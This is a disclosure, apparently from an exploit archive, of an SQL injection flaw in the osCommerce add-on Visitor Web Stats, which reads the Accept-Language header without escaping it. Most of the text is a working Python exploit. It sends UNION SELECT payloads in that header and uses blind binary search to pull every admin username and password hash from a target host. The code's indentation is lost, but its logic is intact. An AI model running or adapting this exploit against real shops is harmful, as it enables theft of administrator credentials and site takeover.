OSC Visitor Web Stats SQL Injection

`Popular OSC add-on Visitor Web Stats is completely vulnerable to SQL   
injections. Although it uses request data (i. e. the Accept-Language   
header), there's no escaping at all.  
  
This also applies to the extension's derivative for OSC 3, who's author   
completely inherited the insufficient code structure.  
  
I've contacted the official maintainer weeks ago, but he rejected to   
offer a fix. It seems he didn't even put up a note about the issue.  
  
Since most SELECT queries are only used to determine whether the result   
is empty or not, the potential is somewhat limited, but as a PoC the   
following Python code gives you the names and hashed passwords of all   
the admins by going through a binary search tree. (Note that versions   
older than 2.2RC1 do not have admin users; they protect the admin site   
only by htaccess)  
  
  
import sys  
import http.client  
  
if len(sys.argv) < 2:  
print("usage: " + sys.argv[0] + " <host> [<path>]")  
sys.exit();  
  
host = sys.argv[1]  
if len(sys.argv) > 2:  
path = sys.argv[2]  
else:  
path = "/"  
  
def req(lang):  
c = http.client.HTTPConnection(host)  
c.request('GET', path, '', {'Accept-Language': lang})  
return c.getresponse().read();  
  
def check(condition):  
r = req("' AND 1=0 UNION SELECT id FROM administrators " + condition +   
" -- '")  
if r.find(b'update') != -1:  
return 1;  
elif r.find(b'Unknown column') != -1:  
print('Unknown database structure (no rc version?)')  
sys.exit();  
return 0;  
  
if req("'").find(b'select counter FROM visitors where browser_ip') == -1:  
print('Target does not seem to have (a vulnarable version of) Visitor   
Web Stats or doesn\'t output any error messages')  
sys.exit();  
  
admin_count = 1  
while not check("HAVING COUNT(*) = " + str(admin_count)):  
admin_count += 1;  
print("Number of admins: " + str(admin_count))  
  
pw_chars = [x for x in range(48, 58)]  
pw_chars.extend([x for x in range(97, 103)])  
pw_chars.sort()  
  
todo = [('', 0, 255)]  
while len(todo):  
(found, start, end) = todo.pop()  
if start == 0 and end == 255 and check("WHERE user_name = '" + found +   
"'"):  
sys.stdout.write(found + " ")  
sys.stdout.flush()  
for i in range(35):  
if i == 32:  
sys.stdout.write(":")  
sys.stdout.flush()  
continue  
pw_start, pw_end = 0, len(pw_chars) - 1  
while pw_start != pw_end:  
pw_mid = int((pw_start + pw_end) / 2)  
if check("WHERE user_name = '" + found + "' AND   
ORD(SUBSTRING(user_password, " + str(i + 1) + ", 1)) <= " +   
str(pw_chars[pw_mid])):  
pw_end = pw_mid  
else:  
if pw_mid == pw_end - 1:  
pw_start = pw_end  
else:  
pw_start = pw_mid  
sys.stdout.write(chr(pw_chars[pw_start]))  
sys.stdout.flush()  
print()  
if not check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") =   
'" + found + "' AND SUBSTRING(user_name, " + str(len(found) + 1) + ", 1)   
> 0"):  
continue;  
mid = int((start + end) / 2)  
if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" +   
found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1))   
<= " + str(mid) + " AND ORD(SUBSTRING(user_name, " + str(len(found) + 1)   
+ ", 1)) > 0"):  
if mid == start + 1:  
todo.append((found + chr(mid), 0, 255))  
else:  
todo.append((found, start, mid))  
if check("WHERE SUBSTRING(user_name, 1, " + str(len(found)) + ") = '" +   
found + "' AND ORD(SUBSTRING(user_name, " + str(len(found) + 1) + ", 1))   
> " + str(mid)):  
if mid == end - 1:  
todo.append((found + chr(end), 0, 255))  
else:  
todo.append((found, mid, end))  
`